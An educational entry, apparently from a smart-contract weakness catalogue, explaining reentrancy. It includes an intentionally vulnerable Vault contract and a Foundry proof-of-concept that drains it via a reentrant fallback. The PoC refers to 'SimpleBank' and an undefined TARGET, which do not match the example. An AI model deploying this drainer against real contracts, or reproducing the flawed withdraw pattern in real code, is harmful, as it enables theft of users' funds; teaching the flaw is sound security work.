Reentrancy

SCWE-046: Reentrancy Attacks

Theory

Reentrancy is one of the most well-known and impactful vulnerabilities in Ethereum smart contracts. It occurs when a contract performs an external call before updating its state. This allows the external contract, possibly malicious, to reenter the original function and repeat certain actions, like withdrawals, using the same state. Through such attacks, an attacker can possibly drain all the funds from a contract.

If a smart contract function:

  • modifies balances after sending ETH,

  • changes storage after calling an external contract,

  • depends on invariants that must hold during execution,

then an attacker can exploit this state inconsistency to drain funds, bypass access checks, or repeatedly trigger logic.

How Reentrancy Works at the EVM Level

  1. Contract A executes a function (e.g., withdraw()).

  2. Before updating its state, it performs a CALL to an attacker contract.

  3. The attacker contract’s fallback or receive function is triggered.

  4. The attacker calls back into A — re-entering — while A's state has not yet been updated.

  5. The victim contract is tricked into repeating a sensitive operation (usually transferring funds).

Practice

Single-function Reentrancy

Single-function reentrancy is the simplest and most direct form of the vulnerability. The attacker simply needs an entry point that:

  • performs a state-changing action,

  • but performs an external call before the state update,

  • and uses the affected state variable again upon re-entry.

Below is a minimal example. The contract reads a state variable, performs an external call, and only then updates the state, allowing the attacker to re-trigger the same logic multiple times.

contract Vault {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];
        
        // Vulnerable: sending ETH before updating state
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok, "send failed");

        // too late
        balances[msg.sender] = 0;
    }
}

Running the below foundry script will drains the vault by performing a reentrant withdrawal.

// foundry script: PoC_SingleReentrancy.s.sol
pragma solidity ^0.8.20;
import "forge-std/Script.sol";

contract Attack {
    SimpleBank target;
    constructor(address _target) {
        target = SimpleBank(_target);
    }

    // fallback gets triggered during the victim's external call
    fallback() external payable {
        // re-enter only while there is still money to steal
        if (address(target).balance >= 1 ether) {
            target.withdraw();
        }
    }

    function attack() external payable {
        target.deposit{value: msg.value}();
        target.withdraw();
    }
}

contract PoC_SingleReentrancy is Script {
    function run() external {
        vm.startBroadcast();

        Attack attacker = new Attack(TARGET);
        attacker.attack{value: 1 ether}();

        vm.stopBroadcast();
    }
}

Resources

Last updated

Was this helpful?